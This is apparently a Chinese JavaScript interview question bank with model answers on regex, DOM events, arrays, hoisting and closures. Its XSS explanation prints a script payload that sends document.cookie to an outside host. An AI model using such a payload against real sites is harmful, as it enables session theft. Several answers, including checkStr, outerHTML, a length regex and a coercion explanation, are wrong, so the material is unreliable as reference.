题库-js 基础（下）

正则表达式

写出由字母开头，其余由数字、字母、下划线组成的 6~30 的字符串

^[a-zA-Z]{1}[\w]{5,29}$

写出正确的正则表达式匹配固话号

区号3-4位，第一位为0，中横线，7-8位数字，中横线，3-4位分机号格式的固话号

^[0]\d{2,3}\-\d{7,8}\-\d{3,4}$

要求最短6位数，最长20位，阿拉伯数和英文字母（不区分大小写）组成

^(?=.*\d)(?=.*[a-z])(?=.*[A-Z])[a-zA-Z\d]{6,20}$

输出结果是

1 2	var bool = !!2; alert(bool)；//true;

双向非操作可以把字符串和数字转换为布尔值。

声明对象，添加属性，输出属性

var obj = {
  name: 'leipeng',
  showName: function(){
    alert(this.name);
  }
}
obj.showName();

匹配输入的字符：第一个必须是字母或下划线开头，长度5-20

var reg = /^[a-zA-Z_][a-zA-Z0-9_]{5,20}/,
    name1 = 'leipeng',
    name2 = '0leipeng',
    name3 = '你好leipeng',
    name4 = 'hi';
alert(reg.test(name1));
alert(reg.test(name2));
alert(reg.test(name3));
alert(reg.test(name4));

检测变量类型

function checkStr(str){
  return str == 'string';
}
console.log(checkStr("aaa"));

如何在HTML中添加事件

标签之中直接添加 onclick=”fun()”;
JS添加 Eobj.onclick = method;
现代事件 IE： obj.attachEvent(‘onclick’, method)；
FF: obj.addEventListener(‘click’, method, false);

BOM对象有哪些，列举window对象

window对象，是JS的最顶层对象，其他的BOM对象都是window对象的属性；
document对象，文档对象；
location对象，浏览器当前URL信息；
navigator对象，浏览器本身信息；
screen对象，客户端屏幕信息；
history对象，浏览器访问历史信息；

代码实现 outerHTML

//说明：outerHTML其实就是innerHTML再加上本身；
  Object.prototype.outerHTML = function(){
    var innerCon = this.innerHTML, //获得里面的内容
        outerCon = this.appendChild(innerCon); //添加到里面
    alert(outerCon); 
  }

演示代码：

<!doctype html>
<html>
  <head>
    <meta charset="UTF-8">
    <title>Document</title>
  </head>
  <body>
    <div id="outer">
       hello
    </div>
  <script>
    Object.prototype.outerHTML = function() {
      var innerCon = this.innerHTML, //获得里面的内容
      outerCon = this.appendChild(innerCon); //添加到里面
      alert(outerCon); 
    }
    function $(id){
      return document.getElementById(id);
    }
    alert($('outer').innerHTML);
    alert($('outer').outerHTML);
  </script>
</body>
</html>

JS中的简单继承 call方法！

//注意：类名都是首字母大写
function Parent(name, money){
  this.name = name;
  this.money = money;
  this.info = function(){
    alert('姓名： '+this.name+' 钱： '+ this.money);
  }
}
//定义孩子类
function Children(name){
  Parent.call(this, name); //继承 姓名属性，不要钱。  
  this.info = function(){
    alert('姓名： '+this.name);
  }
}
//实例化类
var per = new Parent('parent', 800000000000);
var chi = new Children('child');
per.info();
chi.info();

bind(), live(), delegate()的区别

bind：绑定事件，对新添加的事件不起作用，方法用于将一个处理程序附加到每个匹配元素的事件上并返回jQuery对象。
live：方法将一个事件处理程序附加到与当前选择器匹配的所有元素（包含现有的或将来添加的）的指定事件上并返回jQuery对象。
delegate：方法基于一组特定的根元素将处理程序附加到匹配选择器的所有元素（现有的或将来的）的一个或多个事件上。

如何优化自己的代码

代码重用
避免全局变量（命名空间，封闭空间，模块化mvc..）
拆分函数避免函数过于臃肿
注释

怎样实现两栏等高

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Title</title>
</head>
<body>
  <div id="container" style="display: table; width: 100%;">
    <div id="left" style="background-color: red; display: table-cell;">
      内容<br/>
      内容<br/>
      内容<br/>
      内容<br/>
      内容<br/>
      内容<br/>
    </div>
    <div style="display:table-cell;"></div>
    <div id="right" style="background-color: blue;display: table-cell">
        内容
    </div>
  </div>
</body>
</html>

使用js实现这样的效果

在文本域里输入文字时，当按下enter键时不换行，而是替换成 \{\{enter\}\}, (只需要考虑在行尾按下enter键的情况).

<html>
<head>
  <script>
    function back(ele,event){
      event = event || window.event;
      if(event.keyCode==13){
        event.returnValue = false;
        ele.value+="{{enter}}"
        return false;
      }
    }
  </script>
</head>
<body>
  <textarea rows="3" cols="40" id="te" onkeypress="back(this,event);"></textarea>
</body>
</html>

以下代码中end字符串什么时候输出

var t=true;
setTimeout(function(){
  console.log(123);
  t = false;
}, 1000);
while(t){}
console.log('end');

结果：永远不输出

实现specify函数

specify('hello,world') // =>'h,e,l,l,o,w,o,r,l,d'

function specify(str){
  var tempArray =  Array.prototype.filter.call(str,function (value, index, array) {
      return value >= 'A' &&  value <= 'z' && value != "_";
  });
  return tempArray.join(",");
}
console.log(specify("hedd____df*(%$#a !!!))))))llo,Wo@@@r        ld")); //h,e,l,l,o,W,o,r,l,d

简述 readyonly 与 disabled 的区别

ReadOnly 和 Disabled的作用是使用户不能够更改表单域中的内容.

但是二者还是有着一些区别的：

1、Readonly只针对input(text/password)和textarea有效，而disabled对于所有的表单元素有效，包括select,radio,checkbox,button等。

2、在表单元素使用了disabled后，我们将表单以POST或者GET的方式提交的话，这个元素的值不会被传递出去，而readonly会将该值传递出去

解释ajax的工作原理

Ajax的工作原理相当于在用户和服务器之间加了—个中间层，使用户操作与服务器响应异步化;
这样把以前的一些服务器负担的工作转嫁到客户端，利于客户端闲置的处理能力来处理;
减轻服务器和带宽的负担，从而达到节约 ISP 的空间及带宽租用成本的目的。
简单来说通过 XmlHttpRequest 对象来向服务器发异步请求
从服务器获得数据
然后用javascript来操作DOM而更新页面

这其中最关键的一步就是从服务器获得请求数据。要清楚这个过程和原理，我们必须对 XMLHttpRequest有所了解。

为什么扩展javascript内置对象不是好的做法？

因为你不知道哪一天浏览器或javascript本身就会实现这个方法，而且和你扩展的实现有不一致的表现。到时候你的javascript代码可能已经在无数个页面中执行了数年，而浏览器的实现导致所有使用扩展原型的代码都崩溃了。。。

什么是三元表达式？

三元运算符:

三元如名字表示的三元运算符需要三个操作数。

语法是 条件 ? 结果1 : 结果2;.

这里你把条件写在问号(?)的前面后面跟着用冒号(:)分隔的结果1和结果2。满足条件时结果1否则结果2。

HTTP协议中，GET和POST有什么区别？分别适用什么场景？

GET没有请求主体，使用xhr.send(null)
GET可以通过在请求URL上添加请求参数
POST可以通过xhr.send(‘name=itcast&age=10’)
POST需要设置
GET效率更好（应用多）
GET大小限制约4K，POST则没有限制

HTTP状态消息200 302 304 403 404 500分别表示什么

200 代表成功
304 文档未修改
403 没有权限
404 未找到
500 服务器错误

last-modified 文档的最后改动时间。

客户可以通过 If-Modified-Since 请求头提供一个日期，该请求将被视为一个条件GET，只有改动时间迟于指定时间的文档才会返回，否则返回一个304（Not Modified）状态。
Last-Modified 也可用 setDateHeader 方法来设置。

cache-control 告诉所有的缓存机制是否可以缓存及哪种类型

Expires 应该在什么时候认为文档已经过期，从而不再缓存它？

header标头说明

业界常用的优化 WEB 页面加载速度的方法（可以分别从页面元素展现，请求连接，css,js,服务器等方面介绍）

1) 优化图像，使用 CSS Sprites 整合图像
2) 去掉不必要的插件
3) 减少DNS查询(DNS lookups)
4) 最小化重定向，重定向增加了额外的HTTP请求
5) 使用内容分发网络（Content Delivery Network CDN）
6) 把CSS文件放在页面顶部，而JS文件放在底部
7) 利用浏览器缓存
8) 压缩CSS和JavaScript
9) 启用GZIP压缩

使用良好的结构;
不要使布局超载;
不要使用图像来表示文本，图像进行导航不利于 SEO;
检查 cookie 使用情况;
尽可能避免使用表格;
删除任何不必要的元素;
一些优化网页的技巧;
压缩和缩小 JavaScript 文件;
设置图像大小;
将 CSS 图像映射用于装饰功能;
尽可能延迟脚本加载;
按需加载 JavaScript 文件;
优化 CSS 文件;
使用内容分布网络;
对资产使用多个域来增加连接;
在合适的时候使用 Google Gears;
使用 PNG 格式的图像;
保持 Ajax 调用简短、准确;
进行一次较大的 Ajax 调用并在本地处理客户机数据;
在沙箱中测试代码;
分析站点代码;
使用 JSLint 检查 JavaScript 代码中的错误或糟糕的编码实践;
检查孤立的文件和丢失的图像 ;
YSlow 扩展：使用 YSlow 分析网页;

25种提高网页加载速度的方法和技巧

列举常用的 web 页面开发，调试以及优化工具

开发工具：PS、FireWorks、WebStrom、SubLime Text、Eclipse、Aptana、DreamWeaver、NotePad++、Yslow
调试工具：谷歌浏览器、火狐 FireBug、IETester、HTTPWatch Stadio
优化工具：gulp、grunt、webpack
使用率较高的框架有 jQuery、YUI、Prototype、Dojo、Ext.js、Mootools等。尤其是jQuery，超过91%。
轻量级框架有 Modernizr、underscore.js、backbone.js、Raphael.js等。

解释什么是sql注入，xss漏洞

所谓SQL注入式攻击，就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串，欺骗服务器执行恶意的SQL命令。
在某些表单中，用户输入的内容直接用来构造（或者影响）动态SQL命令，或作为存储过程的输入参数，这类表单特别容易受到SQL注入式攻击。

XSS又叫CSS (Cross Site Script) ，跨站脚本攻击。
它指的是恶意攻击者往Web页面里插入恶意脚本代码，而程序对于用户输入内容未过滤；当用户浏览该页之时，嵌入其中Web里面的脚本代码会被执行，从而达到恶意攻击用户的特殊目的。
1)恶意用户，在一些公共区域（例如，建议提交表单或消息公共板的输入表单）输入一些文本，这些文本被其它用户看到，但这些文本不仅仅是他们要输入的文本，同时还包括一些可以在客户端执行的脚本。
如：http://xxx.xxx.com.cn/intf/_photos.jsp?callback=<script>window.location.href="http://www.baidu.com?a=" + escape(document.cookie)</script>、参数<script>xxx</script>如果这里没有经过转义处理，则页面中就嵌入了一段script。
2)恶意提交这个表单
3)其他用户看到这个包括恶意脚本的页面并执行，获取用户的cookie等敏感信息。

请列举js数组类型中的常用方法

push();
- 尾部追加一个或多个元素，push 一个元素与给数组 a[a.length] 赋值一样；
- 返回新数组长度
- 操作原数组，末尾追加
pop();
- 删除数组中最后一个元素，
- 返回值是被删除的这个元素
- 操作原数组
shift();
- 删除数组中的第一个元素，
- 返回值是被删除的元素
unshift();
- 向数组中第一个元素之前插入一个或多个新的元素
- 返回值是新数组的长度
concat(); Array.concat() 方法创建并返回新数组
- 新的数组和旧的数组拼接，产生一个新的数组
- 不修改原数组
slice(); Array.slice()方法返回指定数组的一个片段或子数组
- 两个参数：开始索引，结束索引，返回包含开始索引，不包含结束索引位置之间的所有数组元素；
- 指定一个参数，返回包含开始位置到数组结尾的所有元素
- 参数是负数，相对于最后一个位置的。如参数 -1 指定了最后一个元素，-2 是倒数第二个
- 从原来的数组中截取出来指定的一部分元素，产生新的数组
- 不操作原数组
splice(); Array.splice()是数组中插入或删除元素的方法。
- 会修改调用数组，
- 第一个参数是开始的下标,第二个参数是指定了删除原数组元素的个数；
- 如果省略了第二个参数，从开始索引位置后的元素都被删除；
- 可以有第三个参数，第四个参数…跟在第二个参数后的任意多个参数是需要插入原数组中的元素，从第一个参数指定的索引位置插入；
- 该方法返回的是删除元素组成的数组,如果没有替换则返回空数组。
join(); 将数组中的所有元素都转化成字符串并连接到一起
- 返回最终生成的字符串
- 是 String.split() 方法的逆向操作。String.split() 是将字符串分隔成分隔，返回数组；
reverse();
- 反转数组
- 操作原数组
- 返回操作后的逆向数组
sort(); Array.sort() 方法将数组中的元素排序并返回排序后的数组
- 操作原数组；
- 返回排序后的数组
toString()
- 和不使用任何参数调用 join() 方法返回的字符串是一样的。
toLocalString() 方法是 toString() 方法的本地化版本，使用本地化分隔符将这些字符串连接起来生成最终字符串。
indexOf()和lastIndexOf(); 搜索整个数组中具有给定值的元素
- 查找某个元素，
- 第一个参数是要查找的元素,
- 第二个参数是开始查找的下标,
- 找到则返回找到的第一个元素的索引，找不到则返回-1
lastIndexOf();
- 这个方法也是查找元素,从后面向前面找,找到则返回对应的下标,找不到则返回-1；
- 第二个元素可以是负数，代表相对数组末尾的偏移量；
every() 和 some(); 数组的逻辑判定，传入一个函数,判断每个数组中的元素是否满足条件；
- every() 方法针对所有的元素判断调用函数返回全为 true，则返回true；
- every() 方法有一个不满足条件的则返回 false
- some() 方法所有的元素判断调用函数有一个满足条件的则返回 true
- some() 方法全为 false, 则返回 false
map() 方法，将调用的数组的每个元素传递给指定的函数，并返回一个包含该函数的数组。
- 返回新数组
- 不修改原数组
- 稀疏数组调用返回的还是稀疏数组
  - 一个例子：arr.map(Math.sqrt);
    - map这个方法可以传入一个回调函数,
    - 直接传入了一个Math.sqrt方法,sqrt方法是为某个数字开平方的
    - 调用map方法传入Math.sqrt的时候,去掉了括号,也没有传入参数
    - map方法内部帮我们遍历并且传入数组的每个元素
filter() 方法，返回的是调用的数组的一个子集，传递的回调函数用来逻辑判断，该函数的返回值是布尔值；
- 压缩空缺或并删除 undefined 和 null 元素，也可以使用 filter();
instanceof
isArray(); ECMAScript 5 中给出的检测数组类型的方法；
- 这个方法是判断变量是不是数组
forEach 方法，从头至尾遍历数组，为每个元素调用指定的函数；
- 三个参数，数值元素、数组索引、数组本身
- 无法再所有元素传递完调用函数之前终止遍历
reduce()和 reduceRight()
- reduce() 和 reduceRight() 方法使用指定的函数将数组元素进行组合，生成单个值。
- reduce() 两个参数：
  - 第一个是执行简化操作的函数。化简函数的任务就是用某种方法把两个值组合和化简为一个值，并返回简化后的值。
  - 第二个参数是可选参数
- reduceRight() 的工作原理和 reduce() 一样，不同的是它按照数组索引从高到低处理数组；

ECMAScript 6 中数组新方法

Array.prototype.find 方法用于找出第一个符合条件的数组成员。
- 参数是一个回调函数，找到第一个返回 true 的数组项，然后返回该数组项；
- 找不到返回undefined；
两个静态方法
- Array.from
  - 将一个伪数组转成正真的数组
- Array.of
  - 将方法中参数都添加到一个数组中
操作、填充和过滤数组的方法
- Array.prototype.copyWidthin
- Array.prototype.fill
- Array.prototype.find
  - 接收一个回调函数，每一项执行调用它
- Array.prototype.findIndex
有关数组迭代的方法
- Array.prototype.keys
- Array.prototype.values
- Array.prototype.entries
- Array.prototype[Symbol.iterator]

FF与IE中如何阻止事件冒泡，如何获取事件对象，以及如何获取触发事件的元素

function stopPropagation(e) {  
  e = e || window.event;  
  if(e.stopPropagation) { //W3C阻止冒泡方法  
    e.stopPropagation();  
  } else {  
    e.cancelBubble = true; //IE阻止冒泡方法  
  }  
}  
document.getElementById('need_hide').onclick = function(e) {  
  stopPropagation(e);  
}

列举常用的js框架以及分别适用的领域

jQuery 库 DOM 操作
Bootstrap 是 UI 组件，响应式布局
Angular 框架单页应用程序 SPA

库的特点

选择器（Selector）
DOM 遍历
DOM 操作
实用（Utility）函数
事件处理
Ajax

js中如何实现一个map

<!DOCTYPE html >
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>无标题文档</title>
<script language="javascript">
  Array.prototype.remove = function(s) {
    for (var i = 0; i < this.length; i++) {
      if (s == this[i]) this.splice(i, 1);
    }
  }
  function Map() {
    /** 存放键的数组(遍历用到) */
    this.keys = new Array();
    /** 存放数据 */
    this.data = new Object();
      
    // 放入一个键值对
    this.put = function(key, value) {
      if(this.data[key] == null){
        this.keys.push(key);
      }
      this.data[key] = value;
    };
      
    // 获取某键对应的值
    this.get = function(key) {
      return this.data[key];
    };
      
    // 删除一个键值对
    this.remove = function(key) {
      this.keys.remove(key);
      this.data[key] = null;
    }; 
      
    // 遍历Map,执行处理函数
    this.each = function(fn){
      if(typeof fn != 'function'){
          return;
      }
      var len = this.keys.length;
      for(var i=0;i<len;i++){
        var k = this.keys[i];
        fn(k,this.data[k],i);
      }
    };
      
    // 获取键值数组(类似Java的entrySet())
    this.entrys = function() {
      var len = this.keys.length;
      var entrys = new Array(len);
      for (var i = 0; i < len; i++) {
        entrys[i] = {
          key : this.keys[i],
          value : this.data[i]
        };
      }
      return entrys;
    };
      
    // 判断Map是否为空
    this.isEmpty = function() {
        return this.keys.length == 0;
    };
      
    // 获取键值对数量
    this.size = function(){
      return this.keys.length;
    };
      
    // 重写toString 
    this.toString = function(){
      var s = "{";
      for(var i=0;i<this.keys.length;i++,s+=','){
        var k = this.keys[i];
        s += k+"="+this.data[k];
      }
      s+="}";
      return s;
    };
  }
  function testMap(){
    var m = new Map();
    m.put('key1','Comtop');
    m.put('key2','南方电网');
    m.put('key3','景新花园');
    alert("init:"+m);  
    m.put('key1','康拓普');
    alert("set key1:"+m);
    m.remove("key2");
    alert("remove key2: "+m);
    var s ="";
    m.each(function(key,value,index){
        s += index+":"+ key+"="+value+"\n";
    });
    alert(s);
  }
</script>
</head>
  <body onload="testMap()">
</body>
</html>

用js写一个实现map

js可否实现面向对象编程，如果可以如何实现js对象的继承

扩展原型对象实现继承
替换原型对象实现继承
另一种原型继承（动态原型模式）特点：让代码封装到一起
混入继承：已知两个对象，一个对象继承另一个对象的功能，for..in, jQuery的extend()方法原理是混入继承
原型+混入继承：混入继承的应用, 在一个对象的原型对象上扩展另一个对象的属性和方法, jQuery.fn.extend() 利用的原理是原型+混入继承
经典继承：已知一个对象knownObj，需要创建一个新对象，这个新对象继承自已知的对象knownObj,ES5 Object.create()方法的实现原理就是经典继承
借用构造函数实现继承
混合继承（经典继承+借用构造函数）解决借用构造函数继承不能够继承原型对象上的方法的问题; 继承了两次构造函数（模板）
混合继承（经典继承+借用构造函数）

变量的命名规范以及命名推荐

变量，函数，方法：小写开头，以后的每个单词首字母大写（驼峰）
构造函数，class：每个单词大写开头
基于实际情况，以动词，名词，谓词来命名。尽量言简意骇，以命名代替注释

三种弹窗的单词以及三种弹窗的功能

1) alert

//弹出对话框并输出一段提示信息  
  function ale() {  
    //弹出一个对话框  
    alert("提示信息！");  
  }

2) confirm

//弹出一个询问框，有确定和取消按钮  
function firm() {  
  //利用对话框返回的值 （true 或者 false）  
  if (confirm("你确定提交吗？")) {  
    alert("点击了确定");  
  }  
  else {  
    alert("点击了取消");  
  }  
}

3) prompt

//弹出一个输入框，输入一段文字，可以提交  
function prom() {  
  var name = prompt("请输入您的名字", ""); //将输入的内容赋给变量 name ，  
  //这里需要注意的是，prompt有两个参数，前面是提示的话，后面是当对话框出来后，在对话框里的默认值  
  if (name)//如果返回的有内容  
  {  
    alert("欢迎您：" + name)  
  }
}

输出值是

console.log( 8 | 1 ); // 9

求一个函数 y = f(x, a, b);

只允许使用 + - / 和 Math.，当x > 100 时返回 a 的值，否则返回 b 的值，不能使用 if else 等条件语句，也不能使用 |, ? :, 数组。

function f(x, a, b) {
  var temp = Math.ceil(Math.min(Math.max(x - 100, 0), 1));
  return a * temp + b * (1 - temp);
}
console.log(f(-10, 1, 2));

JavaScript alert(0.4*0.2); 结果是多少? 如何处理

有误差，应该比准确结果偏大。
一般我会将小数变为整数来处理。
当前之前遇到这个问题时也上网查询发现有人用try catch return写了一个函数，
当然原理也是一致先转为整数再计算。

一个div，有几种方式得到这个 div 的 jQuery 对象？

<div class='aabbcc' id='nodesView'></div>

想直接获取这个div的dom对象，如何获取？dom对象如何转化为jQuery对象？

$(“#nodesView”)
$(“.aabbcc”)
$(“#nodesView”)[0]
$(“.aabbcc”)[0]

jQuery 框架中 $.ajax()的常用参数有哪些

写一个post请求并带有发送数据和返回数据的样例

async是否异步
url请求地址
contentType发送信息至服务器时内容编码类型
data发送到服务器的数据
dataType预期服务器返回的数据类型
type请求类型
success请求成功回调函数
error请求失败回调函数

$.ajax({
  url: "/jquery/test1.txt",
  type: 'post',
  data: {
      id: 1
  },
  success: function(data) {
    alert(data);
  }
});

闭包

下面这个ul，如何点击每一列的时候 alert 其 index

<ul id="test">
  <li>这是第一条</li>
  <li>这是第二条</li>
  <li>这是第三条</li>
</ul>
<script>
  window.onload = function() {
    var lis = document.getElementById('test').children;
    for (var i = 0; i < lis.length; i++) {
      lis[i].onclick = (function(i) {
        return function() {
          alert(i)
        };
      })(i);
    };
  }
</script>

列出3条以上 ff 和 IE 的脚本兼容问题

(1) window.event：

表示当前的事件对象，IE有这个对象，FF没有，FF通过给事件处理函数传递事件对象

(2) 获取事件源

IE用srcElement获取事件源，而FF用target获取事件源

(3) 添加，去除事件

IE：element.attachEvent(“onclick”, function) element.detachEvent(“onclick”, function)
FF：element.addEventListener(“click”, function, true) element.removeEventListener(“click”, function, true)

(4) 获取标签的自定义属性

IE：div1.value或div1[“value”]
FF：可用div1.getAttribute(“value”);

列举浏览器对象模型BOM里常用的至少4个对象，并列举window对象的常用方法至少5个

对象：Window document location screen history navigator
方法：Alert() confirm() prompt() open() close()

在Javascript中什么是伪数组？如何将伪数组转化为标准数组？

伪数组（类数组）：无法直接调用数组方法或期望length属性有什么特殊的行为，但仍可以对真正数组遍历方法来遍历它们。
典型的是函数的argument参数，还有像调用getElementsByTagName,document.childNodes之类的,它们都返回NodeList对象都属于伪数组。
可以使用Array.prototype.slice.call(fakeArray)将数组转化为真正的Array对象。

写一个函数可以计算 sum(5, 0, -5); 输出0; sum(1,2,3,4); 输出10;

function sum() {
  var result = 0;
  var arr = arguments;
  for (var i = 0; i < arr.length; i++) {
    var num = arguments[i];
    if (typeof num=='number') {
      result += num;
    };
  };
  return result;
}

算法

写出代码对下列数组去重并从大到小排列 {5,2,3,6,8,6,5,4,7,1,9}

function fn(arr){
  for (var i = 0; i < arr.length-1; i++) {
    for (var j = 0; j < arr.length-1-i; j++) {
      if(arr[j] < arr[j+1]){
        var temp = arr[j];
        arr[j] = arr[j+1];
        arr[j+1] = temp;
      }
    }
  }
  for (i = 0; i < arr.length; i++) {
    var c = arr[i];
    for (var s = i + 1; s < arr.length; s++) {
      if(arr[s] == c){
        //debugger;
        arr.splice(s,1);
        s--;
      }
    }
  }
  return arr;
}
console.log(fn([5,2,3,6,8,6,5,4,7,1,9]).toString());

请写出一个程序

在页面加载完成后动态创建一个form表单，并在里面添加一个input对象并给它任意赋值后义post方式提交到：http://127.0.0.1/save.php

window.onload=function(){
  var form=document.createElement("form");
  form.setAttribute("method", "post");
  form.setAttribute("action", "http://127.0.0.1/save.php");
  var input=document.createElement("input");
  form.appendChild(input);
  document.body.appendChild(form);
  input.value="cxc";
  form.submit();//提交表单
}

用JavaScript实现冒泡排序。数据为23、45、18、37、92、13、24

//升序算法
function sort(arr){
  for (var i = 0; i <arr.length; i++) {
    for (var j = 0; j <arr.length-i; j++) {
      if(arr[j]>arr[j+1]){
        var c=arr[j];//交换两个变量的位置
        arr[j]=arr[j+1];
        arr[j+1]=c;
      }
    };
  };
  return arr.toString();
}
console.log(sort([23,45,18,37,92,13,24]));

前端代码优化的方法

var User = { 
  count = 1，
  getCount：function（）{ 
    return this.count;
  }
}
console.log(User.getCount());
var func = User.getCount;
console.log(func());

输出结果：1 undefined（因为是window对象执行了func函数）;

下列JavaScript代码执行后，依次alert的结果是

(function test(){
  var a=b=5;
  alert(typeof a);
  alert(typeof b);
})();
alert(typeof a);
alert(typeof b);

输出结果：
number
number
undefined
number

下列JavaScript代码执行后，iNum的值是

var iNum = 0;
for(var i = 1; i< 10; i++){
  if(i % 5 == 0){
    continue;
  }
  iNum++;
}

输出结果：答案：8

输出结果是多少

1）

var a;
var b = a * 0;
if (b == b) {
  console.log(b * 2 + "2" - 0 + 4);
} else {
  console.log(!b * 2 + "2" - 0 + 4);
}

输出结果：26

2）

<script>
  var a = 1;
</script>
<script>
  var a;
  var b = a * 0;
  if (b == b) {
    console.log(b * 2 + "2" - 0 + 4);
  } else {
    console.log(!b * 2 + "2" - 0 + 4);
  }
</script>

输出结果：6

3）

var t = 10;
function test(t){
  var t = t++;
}test(t);
console.log(t);

输出结果：10

4）

var t = 10;
function test(test){
  var t = test++;
}test(t);
console.log(t);

输出结果：10

6）

var t = 10;
function test(test){
  t = test++;
}test(t);
console.log(t);

输出结果：10

7）

var t = 10;
function test(test){
  t = t + test;
  console.log(t);
  var t = 3;
}test(t);
console.log(t);

输出结果：NaN 10

8）

var a;
var b = a / 0;
if (b == b) {
  console.log(b * 2 + "2" - 0 + 4);
} else {
  console.log(!b * 2 + "2" - 0 + 4);
}

输出结果：”26”

9）

<script>
    var a = 1;
</script>
<script>
  var a;
  var b = a / 0;
  if (b == b) {
    console.log(b * 2 + "2" + 4);
  } else {
    console.log(!b * 2 + "2" + 4); // !Infinity -->false
  }
</script>

输出结果：Infinity24

用程序实现找到html中id名相同的元素？

<body>
    <form id='form1'>
        <div id='div1'></div>
        <div id='div2'></div>
        <div id='div3'></div>
        <div id='div4'></div>
        <div id='div5'></div>
        <div id='div3'>id名重复的元素</div>
    </form>
    <script>
      var nodes = document.querySelectorAll("#form1>*");
      for(var i = 0, len = nodes.length; i < len; i++){
        var attr = nodes[i].getAttribute("id");
        var s=1;
        for(var j = i + 1; j < len; j++){
          if(nodes[j].getAttribute("id") == attr){
            s++;
            alert("id为：" + attr + "的元素出现" + s + "次");
          }
        }
      }
    </script>
</body>

输出结果：id为：div3的元素出现2次

下列JavaScript代码执行后，运行的结果是

<button id='btn'>点击我</button>
<script>
  var btn = document.getElementById('btn');
  var handler = {
      id: '_eventHandler',
      exec: function(){
          alert(this.id);
      }
  }
  btn.addEventListener('click', handler.exec);
</script>

输出结果：”btn”

下列JavaScript代码执行后，依次 alert 的结果

var obj = {proto: {a:1,b:2}};
function F(){};
F.prototype = obj.proto;
var f = new F();
obj.proto.c = 3;
obj.proto = {a:-1, b:-2};
alert(f.a); // 1
alert(f.c); // 3
delete F.prototype['a'];
alert(f.a); // undefined
alert(obj.proto.a);  // -1

下列JavaScript代码执行后的效果是

<ul id='list'>
  <li>item</li>
  <li>item</li>
  <li>item</li>
  <li>item</li>
  <li>item</li>
</ul>
<script>
  var items = document.querySelectorAll('#list > li');
  for(var i = 0; i < items.length; i++){
    setTimeout(function(){
      items[i].style.backgroundColor = '#fee';
    }, 5);
  }
</script>

输出结果：报错，因为i一直等于5，items[i]获取不到元素

下列JavaScript代码执行后的 li 元素的数量是

<ul>
    <li>Item</li>
    <li></li>
    <li></li>
    <li>Item</li>
    <li>Item</li>
</ul>
<script>
  var items = document.getElementsByTagName('li');
  for(var i = 0; i < items.length; i++){
    if(items[i].innerHTML == ''){
      items[i].parentNode.removeChild(items[i]);
    }
  }
</script>

结果是：4

程序中捕获异常的方法

1 2	window.error; try{}catch(){}finally{}

原型对象上添加方法

给String对象添加一个方法，传入一个 string 类型的参数，然后将 string 的每个字符间价格空格返回
例如：addSpace("hello world") // -> 'h e l l o w o r l d'

1
2
3

String.prototype.spacify = function(){
  return this.split('').join(' ');
};

数组和字符串

function outPut(s) {
  document.writeln(s);
}
var a = "lashou";
var b = a;
outPut(b);
a = "拉手";
outPut(a);
outPut(b);
var a_array = [1, 2, 3];
var b_array = a_array;
outPut(b_array);
a_array[3] = 4;
outPut(a_array);
outPut(b_array);

输出结果：lashou 拉手 lashou 1,2,3 1,2,3,4 1,2,3,4

下列控制台都输出什么

第1题：

function setName(){
  name="张三";
}
setName();
console.log(name); // 答案："张三"

第2题：

//考点：1、变量声明提升 2、变量搜索机制
var a=1;
function test(){
  console.log(a); // 答案：undefined
  var a=1;
}
test();

第3题：

var b=2;
function test2(){
  window.b=3;
  console.log(b); // 答案：3
}
test2();

第4题：

c=5;//声明一个全局变量c 
function test3(){
  window.c=3;
  console.log(c);   //答案：undefined，原因：由于此时的c是一个局部变量c，并且没有被赋值
  var c;
  console.log(window.c);//答案：3，原因：这里的c就是一个全局变量c
}
test3();

第5题：

var arr = [];
arr[0]  = 'a';
arr[1]  = 'b';
arr[10] = 'c';
alert(arr.length);  //答案：11
console.log(arr[5]);  //答案：undefined

第6题：

1
2
3

var a=1;
console.log(a++);   //答案：1
console.log(++a);   //答案：3

第7题：

1
2
3

console.log(null==undefined); //答案：true
console.log("1"==1);    //答案：true，因为会将数字1先转换为字符串1
console.log("1"===1);   //答案：false，因为数据类型不一致

第8题：

typeof 1;   "number"
typeof "hello";   "string"
typeof /[0-9]/;   "object"
typeof {};    "object"
typeof null;    "object"
typeof undefined; "undefined"
typeof [1,2,3];   "object"
typeof function(){};  //"function"

第9题：

parseInt(3.14);     //3
parseFloat("3asdf");    //3
parseInt("1.23abc456");
parseInt(true);//"true" NaN

第10题：

//考点：函数声明提前
function bar() {
    return foo;
    foo = 10;
    function foo() {}
    //var foo = 11;
}
alert(typeof bar());//"function"

第11题：考点：函数声明提前

var foo = 1;
function bar() {
  foo = 10;
  return;
  function foo() {}
}
bar();
alert(foo);// 1

第12题：

console.log(a);//是一个函数
var a = 3;
function a(){}
console.log(a);////3

第13题：

//考点：对arguments的操作
function foo(a) {
    arguments[0] = 2;
    alert(a);//答案：2，因为：a、arguments是对实参的访问，b、通过arguments[i]可以修改指定实参的值
}
foo(1);

第14题：

function foo(a) {
  alert(arguments.length);//答案：3，因为arguments是对实参的访问
}
foo(1, 2, 3);

第15题:

bar();//报错
var foo = function bar(name) {
  console.log("hello"+name);
  console.log(bar);
};
//alert(typeof bar);
foo("world");//"hello"
console.log(bar);//undefined
console.log(foo.toString());
bar();//报错

第16题：以下执行会有什么输出

function test(){
  console.log("test函数");
}
setTimeout(function(){
  console.log("定时器回调函数");
}, 0)
test();

结果：

test函数
定时器回调函数

选择题

以下哪些是javascript的全局函数：( ABC )

A. escape 函数可对字符串进行编码，这样就可以在所有的计算机上读取该字符串。ECMAScript v3 反对使用该方法，应用使用 decodeURI() 和 decodeURIComponent() 替代它。
B. parseFloat parseFloat() 函数可解析一个字符串，并返回一个浮点数。该函数指定字符串中的首个字符是否是数字。如果是，则对字符串进行解析，直到到达数字的末端为止，然后以数字返回该数字，而不是作为字符串。
C. eval 函数可计算某个字符串，并执行其中的的 JavaScript 代码。
D. setTimeout
E. alert

关于IE的window对象表述正确的有：( ACD )

A. window.opener属性本身就是指向window对象
B. window.reload()方法可以用来刷新当前页面应该是location.reload或者window.location.reload
C. window.location=”a.html”和window.location.href=”a.html”的作用都是把当前页面替换成a.html页面
D. 定义了全局变量g；可以用window.g的方式来存取该变量

下面正确的是 ( A )

A: 跨域问题能通过JsonP方案解决
B：不同子域名间仅能通过修改window.name解决跨域还可以通过script标签src，jsonp等h5 Java split等
C：只有在IE中可通过iframe嵌套跨域
D：MediaQuery属性是进行视频格式检测的属性是做响应式的

错误的是 ( B )

